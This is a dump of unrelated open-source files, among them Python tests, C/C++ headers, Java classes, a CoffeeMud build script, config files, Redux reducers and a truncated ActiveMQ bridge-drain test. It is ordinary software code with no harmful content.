""" Tests for dit.multivariate.secret_key_agreement.secrecy_capacity """ import pytest from dit.example_dists.intrinsic import * from dit.multivariate import total_correlation from dit.multivariate.secret_key_agreement.secrecy_capacity import secrecy_capacity, SecrecyCapacity @pytest.mark.flaky(reruns=5) @pytest.mark.parametrize('dist', [intrinsic_1, intrinsic_2, intrinsic_3]) def test_sc_1(dist): """ Test against known values. """ sc = secrecy_capacity(dist, [0], [1], [2], bound_u=2) assert sc == pytest.approx(dist.secret_rate, abs=1e-5) def test_sc_2(): """ Test the distribution. """ sc = SecrecyCapacity(intrinsic_1, [0], [1], [2], bound_u=2) sc.optimize(x0=sc.construct_random_initial()) d = sc.construct_distribution() assert total_correlation(d, [[3], [1]]) - total_correlation(d, [[3], [2]]) == pytest.approx(0)
{ "pile_set_name": "Github" }
/////////////////////////////////////////////////////////////////////////////// // Name: src/generic/statbmpg.cpp // Purpose: wxGenericStaticBitmap // Author: Marcin Wojdyr, Stefan Csomor // Created: 2008-06-16 // Copyright: wxWidgets developers // Licence: wxWindows licence /////////////////////////////////////////////////////////////////////////////// #include "wx/wxprec.h" #if wxUSE_STATBMP #ifndef WX_PRECOMP #include "wx/dcclient.h" #endif #include "wx/generic/statbmpg.h" bool wxGenericStaticBitmap::Create(wxWindow *parent, wxWindowID id, const wxBitmap& bitmap, const wxPoint& pos, const wxSize& size, long style, const wxString& name) { if (! wxControl::Create(parent, id, pos, size, style, wxDefaultValidator, name)) return false; SetBitmap(bitmap); Connect(wxEVT_PAINT, wxPaintEventHandler(wxGenericStaticBitmap::OnPaint)); return true; } void wxGenericStaticBitmap::OnPaint(wxPaintEvent& WXUNUSED(event)) { wxPaintDC dc(this); if (m_bitmap.IsOk()) dc.DrawBitmap(m_bitmap, 0, 0, true); } // under OSX_cocoa is a define, avoid duplicate info #ifndef wxGenericStaticBitmap IMPLEMENT_DYNAMIC_CLASS(wxGenericStaticBitmap, wxStaticBitmapBase) #endif #endif // wxUSE_STATBMP
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html class="game"> <head> <meta name="viewport" content="user-scalable=no, width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, minimal-ui" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-title" content="Colonizers"> <meta name="msapplication-tap-highlight" content="no" /> <title>Colonizers</title> <link rel="stylesheet" type="text/css" href="../../colonizers-client/public/css/game.css"> </head> <body> <div class="container-fluid top-container"> <div class="row"> <div class="col-xs-12 col-sm-8 col-md-9 canvas"> <div data-bind="component: 'alert'"></div> <stage params="game: game"></stage> </div> <div class="col-xs-12 col-sm-4 col-md-3 sidebar offcanvas-xs"> <ul class="nav nav-pills"> <li class="active"> <a href="#players" data-toggle="tab">Players</a> </li> <li> <a href="#chat" data-toggle="tab">Chat</a> </li> <li> <a href="#log" data-toggle="tab">Log</a> </li> <li> <a class="menu" href="#menu" data-toggle="tab"> <span class="menu-bar"></span> <span class="menu-bar"></span> <span class="menu-bar"></span> </a> </li> </ul> <div class="tab-content"> <div class="tab-pane active" id="players"> <div data-bind="component: 'players'"></div> </div> <div class="tab-pane" id="chat"> </div> <div class="tab-pane" id="log"> </div> <div class="tab-pane" id="menu"> <div data-bind="component: 'game-menu'"></div> </div> </div> </div> </div> </div> <div data-bind="component: 'player'"></div> <div data-bind="component: 'build-modal'"></div> <div data-bind="component: 'trade-modal'"></div> <script src="game.js" charset="utf-8"></script> </body> </html>
{ "pile_set_name": "Github" }
/* * Copyright (c) 2016, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package jdk.nashorn.internal.objects; import jdk.nashorn.internal.objects.annotations.Function; import jdk.nashorn.internal.objects.annotations.ScriptClass; import jdk.nashorn.internal.runtime.PropertyMap; import jdk.nashorn.internal.runtime.ScriptRuntime; import jdk.nashorn.internal.runtime.Undefined; import static jdk.nashorn.internal.runtime.ECMAErrors.typeError; /** * ECMA6 23.2.5 Set Iterator Objects */ @ScriptClass("SetIterator") public class SetIterator extends AbstractIterator { // initialized by nasgen private static PropertyMap $nasgenmap$; private LinkedMap.LinkedMapIterator iterator; private final IterationKind iterationKind; // Cached global needed for every iteration result private final Global global; SetIterator(final NativeSet set, final IterationKind iterationKind, final Global global) { super(global.getSetIteratorPrototype(), $nasgenmap$); this.iterator = set.getJavaMap().getIterator(); this.iterationKind = iterationKind; this.global = global; } /** * ES6 23.2.5.2.1 %SetIteratorPrototype%.next() * * @param self the self reference * @param arg the argument * @return the next result */ @Function public static Object next(final Object self, final Object arg) { if (!(self instanceof SetIterator)) { throw typeError("not.a.set.iterator", ScriptRuntime.safeToString(self)); } return ((SetIterator)self).next(arg); } @Override public String getClassName() { return "Set Iterator"; } @Override protected IteratorResult next(final Object arg) { if (iterator == null) { return makeResult(Undefined.getUndefined(), Boolean.TRUE, global); } final LinkedMap.Node node = iterator.next(); if (node == null) { iterator = null; return makeResult(Undefined.getUndefined(), Boolean.TRUE, global); } if (iterationKind == IterationKind.KEY_VALUE) { final NativeArray array = new NativeArray(new Object[] {node.getKey(), node.getKey()}); return makeResult(array, Boolean.FALSE, global); } return makeResult(node.getKey(), Boolean.FALSE, global); } }
{ "pile_set_name": "Github" }
/* Copyright (C) 2014 by Leonhard Oelke <[email protected]> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <inttypes.h> #include <pulse/stream.h> #include <pulse/context.h> #include <pulse/introspect.h> #pragma once /** * Initialize the pulseaudio mainloop and increase the reference count */ int_fast32_t pulse_init(); /** * Unreference the pulseaudio mainloop, when the reference count reaches * zero the mainloop will automatically be destroyed */ void pulse_unref(); /** * Lock the mainloop * * In order to allow for multiple threads to use the same mainloop pulseaudio * provides it's own locking mechanism. This function should be called before * using any pulseaudio function that is in any way related to the mainloop or * context. * * @note use of this function may cause deadlocks * * @warning do not use with pulse_ wrapper functions */ void pulse_lock(); /** * Unlock the mainloop * * @see pulse_lock() */ void pulse_unlock(); /** * Wait for events to happen * * This function should be called when waiting for an event to happen. */ void pulse_wait(); /** * Wait for accept signal from calling thread * * This function tells the pulseaudio mainloop wheter the data provided to * the callback should be retained until the calling thread executes * pulse_accept() * * If wait_for_accept is 0 the function returns and the data is freed. */ void pulse_signal(int wait_for_accept); /** * Signal the waiting callback to return * * This function is used in conjunction with pulse_signal() */ void pulse_accept(); /** * Request source information * * The function will block until the operation was executed and the mainloop * called the provided callback function. * * @return negative on error * * @note The function will block until the server context is ready. * * @warning call without active locks */ int_fast32_t pulse_get_source_info_list(pa_source_info_cb_t cb, void *userdata); /** * Request sink information * * The function will block until the operation was executed and the mainloop * called the provided callback function. * * @return negative on error * * @note The function will block until the server context is ready. * * @warning call without active locks */ int_fast32_t pulse_get_sink_info_list(pa_sink_info_cb_t cb, void *userdata); /** * Request source information from a specific source * * The function will block until the operation was executed and the mainloop * called the provided callback function. * * @param cb pointer to the callback function * @param name the source name to get information for * @param userdata pointer to userdata the callback will be called with * * @return negative on error * * @note The function will block until the server context is ready. * * @warning call without active locks */ int_fast32_t pulse_get_source_info(pa_source_info_cb_t cb, const char *name, void *userdata); /** * Request server information * * The function will block until the operation was executed and the mainloop * called the provided callback function. * * @return negative on error * * @note The function will block until the server context is ready. * * @warning call without active locks */ int_fast32_t pulse_get_server_info(pa_server_info_cb_t cb, void *userdata); /** * Create a new stream with the default properties * * @note The function will block until the server context is ready. * * @warning call without active locks */ pa_stream *pulse_stream_new(const char *name, const pa_sample_spec *ss, const pa_channel_map *map);
{ "pile_set_name": "Github" }
/* * Copyright (c) 2011-2019, The DART development contributors * All rights reserved. * * The list of contributors can be found at: * https://github.com/dartsim/dart/blob/master/LICENSE * * This file is provided under the following "BSD-style" License: * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef DART_DYNAMICS_ARROWSHAPE_HPP_ #define DART_DYNAMICS_ARROWSHAPE_HPP_ #include "dart/dynamics/MeshShape.hpp" namespace dart { namespace dynamics { class ArrowShape : public MeshShape { public: struct Properties { /// _radius affects the thickness of the arrow. _headRadiusScale can be /// [1,INFINITY) and is a multiplier that affects the wideness of the /// beginning of the arrow head. _headLengthScale can be [0,1] and indicates /// what fraction of the arrow length is to be the conical head. /// _minHeadLength will prevent the arrow head from being shorter than the /// given value; _maxHeadLength will prevent it from being longer than the /// given value. Set _minHeadLength and _maxHeadLength to the same value to /// fix the size of the arrow head. Properties( double _radius = 0.01, double _headRadiusScale = 2.0, double _headLengthScale = 0.15, double _minHeadLength = 0, double _maxHeadLength = INFINITY, bool _doubleArrow = false); double mRadius; double mHeadRadiusScale; double mHeadLengthScale; double mMinHeadLength; double mMaxHeadLength; bool mDoubleArrow; }; /// This will produce an arrow that reaches from _tail to _head with the given /// properties. ArrowShape( const Eigen::Vector3d& _tail, const Eigen::Vector3d& _head, const Properties& _properties = Properties(), const Eigen::Vector4d& _color = Eigen::Vector4d(0.5, 0.5, 1.0, 1.0), std::size_t _resolution = 10); /// Set the positions of the tail and head of the arrow without changing any /// settings void setPositions(const Eigen::Vector3d& _tail, const Eigen::Vector3d& _head); /// Get the location of the tail of this arrow const Eigen::Vector3d& getTail() const; /// Get the location of the head of this arrow const Eigen::Vector3d& getHead() const; /// Set the properties of this arrow void setProperties(const Properties& _properties); /// Set the color of this arrow void notifyColorUpdated(const Eigen::Vector4d& _color) override; /// Get the properties of this arrow const Properties& getProperties() const; void configureArrow( const Eigen::Vector3d& _tail, const Eigen::Vector3d& _head, const Properties& _properties); protected: void instantiate(std::size_t resolution); Eigen::Vector3d mTail; Eigen::Vector3d mHead; Properties mProperties; }; } // namespace dynamics } // namespace dart #endif // DART_DYNAMICS_ARROWSHAPE_HPP_
{ "pile_set_name": "Github" }
/* * This file is part of helper, licensed under the MIT License. * * Copyright (c) lucko (Luck) <[email protected]> * Copyright (c) contributors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package me.lucko.helper.datatree; import com.google.gson.JsonArray; import com.google.gson.JsonElement; import com.google.gson.JsonObject; import ninja.leaping.configurate.ConfigurationNode; import java.util.Map; import java.util.stream.Stream; import javax.annotation.Nonnull; /** * An easier way of parsing in-memory data structures. * * <p>Given the following example data:</p> * <pre> * { * "some-object": { * "some-nested-object": { * "a-string": "some special string", * "a-boolean": true, * "some-numbers": [4, 5, 7] * } * } * } * </pre> * * <p>Various elements could be parsed as:</p> * <p></p> * <ul> * <li><code>DataTree.from(root).resolve("some-object", "some-nested-object", "some-numbers", 2).asInt()</code> * would result in the value <code>5</code>.</li> * <li><code>DataTree.from(root).resolve("some-object", "some-nested-object").map(Map.Entry::getKey).toArray(String[]::new)</code> * would result in <code>["a-string", "a-boolean", "some-numbers"]</code></li> * </ul> * * <p>Methods always return a value, throwing an exception if a value isn't present or appropriate.</p> */ public interface DataTree { /** * Creates a new {@link DataTree} from a {@link JsonElement}. * * @param element the element * @return a tree */ @Nonnull static GsonDataTree from(@Nonnull JsonElement element) { return new GsonDataTree(element); } /** * Creates a new {@link DataTree} from a {@link ConfigurationNode}. * * @param node the node * @return a tree */ @Nonnull static ConfigurateDataTree from(@Nonnull ConfigurationNode node) { return new ConfigurateDataTree(node); } /** * Resolves the given path. * * <p>Paths can be made up of {@link String} or {@link Integer} components. Strings are used to * resolve a member of an object, and integers resolve a member of an array.</p> * * @param path the path * @return the resultant tree node */ @Nonnull DataTree resolve(@Nonnull Object... path); /** * Gets a stream of the member nodes, as if this tree was a {@link JsonObject}. * * @return the members */ @Nonnull Stream<? extends Map.Entry<String, ? extends DataTree>> asObject(); /** * Gets a stream of the member nodes, as if this tree was a {@link JsonArray}. * * @return the members */ @Nonnull Stream<? extends DataTree> asArray(); /** * Gets an indexed stream of the member nodes, as if this tree was a {@link JsonArray}. * * @return the members */ @Nonnull Stream<? extends Map.Entry<Integer, ? extends DataTree>> asIndexedArray(); /** * Returns a {@link String} representation of this node. * * @return this as a string */ @Nonnull String asString(); /** * Returns a {@link Number} representation of this node. * * @return this as a number */ @Nonnull Number asNumber(); /** * Returns an {@link Integer} representation of this node. * * @return this as an integer */ int asInt(); /** * Returns a {@link Double} representation of this node. * * @return this as a double */ double asDouble(); /** * Returns a {@link Boolean} representation of this node. * * @return this as a boolean */ boolean asBoolean(); }
{ "pile_set_name": "Github" }
{ "files": [], "references": [ { "path": "./tsconfig.src.json" }, { "path": "./tsconfig.test.json" } ] }
{ "pile_set_name": "Github" }
1 120 60 20 1 22 2 23 1 24 1 25 1 27 1 29 1 30 1 31 1 32 2 33 1 34 2 35 1 37 3 38 1 40 1 41 1 44 1 46 1 47 2 49 4 51 1 52 1 53 1 54 1 55 1 56 2 57 2 58 1 59 1 60 2 61 3 63 3 64 2 65 2 67 2 68 3 69 1 70 2 71 1 72 5 74 3 75 1 76 1 79 1 81 1 84 1 85 2 87 2 88 2 89 1 90 3 92 4 93 2 94 3 95 1 96 1 97 1 98 1 99 2
{ "pile_set_name": "Github" }
/* * definitions for PCM179X * * Copyright 2013 Amarula Solutions * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #ifndef __PCM179X_H__ #define __PCM179X_H__ #define PCM1792A_FORMATS (SNDRV_PCM_FMTBIT_S32_LE | SNDRV_PCM_FMTBIT_S24_LE | \ SNDRV_PCM_FMTBIT_S16_LE) extern const struct regmap_config pcm179x_regmap_config; int pcm179x_common_init(struct device *dev, struct regmap *regmap); int pcm179x_common_exit(struct device *dev); #endif
{ "pile_set_name": "Github" }
REM Make sure you are building with java v1.6 or higher REM SET Java_Home="C:\Program Files\Java\jdk1.6.0_01" set CLASSPATH=.;%Java_Home%\lib\dt.jar;%Java_Home%\lib\tools.jar;.\lib\js.jar;.\lib\jzlib.jar SET JAVACPATH="%Java_Home%\bin\javac" -g -nowarn -deprecation IF "%1" == "docs" GOTO :DOCS %JAVACPATH% com/planet_ink/fakedb/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/*.java %JAVACPATH% com/planet_ink/coffee_mud/application/*.java %JAVACPATH% com/planet_ink/coffee_mud/Areas/*.java %JAVACPATH% com/planet_ink/coffee_mud/Behaviors/*.java %JAVACPATH% com/planet_ink/coffee_mud/CharClasses/*.java %JAVACPATH% com/planet_ink/coffee_mud/Commands/*.java %JAVACPATH% com/planet_ink/coffee_mud/Common/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/collections/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/database/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/exceptions/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/cm1/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/cm1/commands/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/i3/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/i3/net/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/i3/packets/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/i3/persist/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/i3/server/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/intermud/imc2/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/smtp/*.java %JAVACPATH% com/planet_ink/coffee_mud/core/threads/*.java %JAVACPATH% com/planet_ink/coffee_mud/Exits/*.java %JAVACPATH% com/planet_ink/coffee_mud/Libraries/*.java %JAVACPATH% com/planet_ink/coffee_mud/Locales/*.java %JAVACPATH% com/planet_ink/coffee_mud/MOBS/*.java %JAVACPATH% com/planet_ink/coffee_mud/Races/*.java %JAVACPATH% com/planet_ink/coffee_mud/WebMacros/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Archon/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Common/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Diseases/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Druid/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Fighter/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Languages/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Misc/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Paladin/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Poisons/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Prayers/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Properties/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Ranger/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Skills/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Songs/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Specializations/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Spells/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/SuperPowers/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Tech/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Thief/*.java %JAVACPATH% com/planet_ink/coffee_mud/Abilities/Traps/*.java %JAVACPATH% com/planet_ink/coffee_mud/Areas/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Behaviors/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/CharClasses/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Commands/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Common/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Exits/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/Armor/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/Basic/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/ClanItems/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/MiscMagic/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/BasicTech/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/CompTech/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/Software/*.java %JAVACPATH% com/planet_ink/coffee_mud/Items/Weapons/*.java %JAVACPATH% com/planet_ink/coffee_mud/Libraries/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Libraries/layouts/*.java %JAVACPATH% com/planet_ink/coffee_mud/Libraries/mcppkgs/*.java %JAVACPATH% com/planet_ink/coffee_mud/Locales/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/MOBS/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/Races/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_mud/WebMacros/grinder/*.java %JAVACPATH% com/planet_ink/coffee_mud/WebMacros/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_web/converters/*.java %JAVACPATH% com/planet_ink/coffee_web/http/*.java %JAVACPATH% com/planet_ink/coffee_web/interfaces/*.java %JAVACPATH% com/planet_ink/coffee_web/server/*.java %JAVACPATH% com/planet_ink/coffee_web/servlets/*.java %JAVACPATH% com/planet_ink/coffee_web/util/*.java %JAVACPATH% com/planet_ink/siplet/applet/*.java %JAVACPATH% com/planet_ink/siplet/support/*.java GOTO :FINISH :DOCS "%Java_Home%\bin\javadoc" -d .\docs -J-Xmx1024m -subpackages com.planet_ink.coffee_mud :FINISH
{ "pile_set_name": "Github" }
/* * Copyright 1993-2010 NVIDIA Corporation. All rights reserved. * * Please refer to the NVIDIA end user license agreement (EULA) associated * with this source code for terms and conditions that govern your use of * this software. Any use, reproduction, disclosure, or distribution of * this software and related documentation outside the terms of the EULA * is strictly prohibited. * */ #pragma once #ifdef _DEBUG #if __DEVICE_EMULATION__ #define cutilBankChecker(array, idx) (__cutilBankChecker (threadIdx.x, threadIdx.y, threadIdx.z, \ blockDim.x, blockDim.y, blockDim.z, \ #array, idx, __FILE__, __LINE__), \ array[idx]) #else #define cutilBankChecker(array, idx) array[idx] #endif #else #define cutilBankChecker(array, idx) array[idx] #endif // Interface for bank conflict checker inline void __cutilBankChecker(unsigned int tidx, unsigned int tidy, unsigned int tidz, unsigned int bdimx, unsigned int bdimy, unsigned int bdimz, char *aname, int index, char *file, int line) { cutCheckBankAccess( tidx, tidy, tidz, bdimx, bdimy, bdimz, file, line, aname, index); }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>$(EXECUTABLE_NAME)</string> <key>CFBundleIdentifier</key> <string>cn.zzy.$(PRODUCT_NAME:rfc1034identifier)</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>$(PRODUCT_NAME)</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleShortVersionString</key> <string>1.0</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleVersion</key> <string>1</string> <key>LSRequiresIPhoneOS</key> <true/> <key>UILaunchStoryboardName</key> <string>LaunchScreen</string> <key>UIMainStoryboardFile</key> <string>Main</string> <key>NSCameraUsageDescription</key> <string></string> <key>NSPhotoLibraryUsageDescription</key> <string></string> <key>UIRequiredDeviceCapabilities</key> <array> <string>armv7</string> </array> <key>UISupportedInterfaceOrientations</key> <array> <string>UIInterfaceOrientationPortrait</string> <string>UIInterfaceOrientationLandscapeLeft</string> <string>UIInterfaceOrientationLandscapeRight</string> </array> </dict> </plist>
{ "pile_set_name": "Github" }
<?php if($this->configuration->getValue('list.object_actions')):?> <td> <ul class="sf_admin_td_actions"> <?php foreach ($this->configuration->getValue('list.object_actions') as $name => $params): ?> <?php if ('_delete' == $name): ?> [?php if($security_manager->userHasCredentials('delete', $<?php echo $this->getSingularName()?>)): ?] <?php echo $this->addCredentialCondition('[?php echo $helper->linkToDelete($'.$this->getSingularName().', '.$this->asPhp($params).') ?]', $params) ?> [?php endif; ?] <?php elseif ('_edit' == $name): ?> [?php if($security_manager->userHasCredentials('edit', $<?php echo $this->getSingularName()?>)): ?] <?php echo $this->addCredentialCondition('[?php echo $helper->linkToEdit($'.$this->getSingularName().', '.$this->asPhp($params).') ?]', $params) ?> [?php endif; ?] <?php else: ?> [?php if($security_manager->userHasCredentials('<?php echo $name?>', $<?php echo $this->getSingularName()?>)): ?] <li class="sf_admin_action_<?php echo $params['class_suffix'] ?>"> [?php if (method_exists($helper, 'linkTo<?php echo $method = ucfirst(sfInflector::camelize($name)) ?>')): ?] <?php echo $this->addCredentialCondition('[?php echo $helper->linkTo'.$method.'($' . $this->getSingularName() . ', '.$this->asPhp($params).') ?]', $params) ?> [?php else: ?] <?php echo $this->addCredentialCondition($this->getLinkToAction($name, $params, true), $params) ?> [?php endif; ?] </li> [?php endif; ?] <?php endif; ?> <?php endforeach; ?> </ul> </td> <?php endif;?>
{ "pile_set_name": "Github" }
import { combineReducers } from 'redux'; import actionSheetManager from './actionSheetManager'; import addCash from './addCash'; import appState from './appState'; import charts from './charts'; import contacts from './contacts'; import data from './data'; import editOptions from './editOptions'; import explorer from './explorer'; import gas from './gas'; import imageMetadata from './imageMetadata'; import keyboardHeight from './keyboardHeight'; import nonce from './nonce'; import openStateSettings from './openStateSettings'; import raps from './raps'; import requests from './requests'; import savings from './savings'; import settings from './settings'; import showcaseTokens from './showcaseTokens'; import uniqueTokens from './uniqueTokens'; import uniswap from './uniswap'; import walletconnect from './walletconnect'; import wallets from './wallets'; export default combineReducers({ actionSheetManager, addCash, appState, charts, contacts, data, editOptions, explorer, gas, imageMetadata, keyboardHeight, nonce, openStateSettings, raps, requests, savings, settings, showcaseTokens, uniqueTokens, uniswap, walletconnect, wallets, });
{ "pile_set_name": "Github" }
{ "name": "publish-code-coverage-results-tests", "version": "1.0.0", "description": "Azure Pipelines Publish Code Coverage Results V2 Task Tests", "main": "L0.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "repository": { "type": "git", "url": "git+ssh://[email protected]/Microsoft/azure-pipelines-tasks.git" }, "author": "Microsoft Corporation", "license": "MIT", "bugs": { "url": "https://github.com/Microsoft/azure-pipelines-tasks/issues" }, "homepage": "https://github.com/Microsoft/azure-pipelines-tasks#readme", "devDependencies": { "@types/mocha": "^5.2.0" } }
{ "pile_set_name": "Github" }
/** * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * <p> * http://www.apache.org/licenses/LICENSE-2.0 * <p> * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.activemq.network; import org.apache.activemq.ActiveMQConnectionFactory; import org.apache.activemq.broker.BrokerService; import org.apache.activemq.broker.region.policy.PolicyEntry; import org.apache.activemq.broker.region.policy.PolicyMap; import org.apache.activemq.command.ActiveMQDestination; import org.apache.activemq.command.ActiveMQQueue; import org.apache.activemq.command.ActiveMQTopic; import org.apache.activemq.util.Wait; import javax.jms.Connection; import javax.jms.MessageConsumer; import javax.jms.MessageProducer; import javax.jms.Session; import javax.jms.TextMessage; import java.util.Arrays; import java.util.concurrent.TimeUnit; import static org.junit.Assert.assertEquals; public class DrainBridgeTest { @org.junit.Test public void testDrain() throws Exception { prepareBrokerWithMessages(); BrokerService target = prepareDrainTarget(); BrokerService drainingBroker = new BrokerService(); drainingBroker.setBrokerName("HOST"); // add the draining bridge that subscribes to all queues and forwards on start - irrespective of demand NetworkConnector drainingNetworkConnector = drainingBroker.addNetworkConnector("static:(" + target.getTransportConnectorByScheme("tcp").getPublishableConnectString() + ")"); drainingNetworkConnector.setStaticBridge(true); 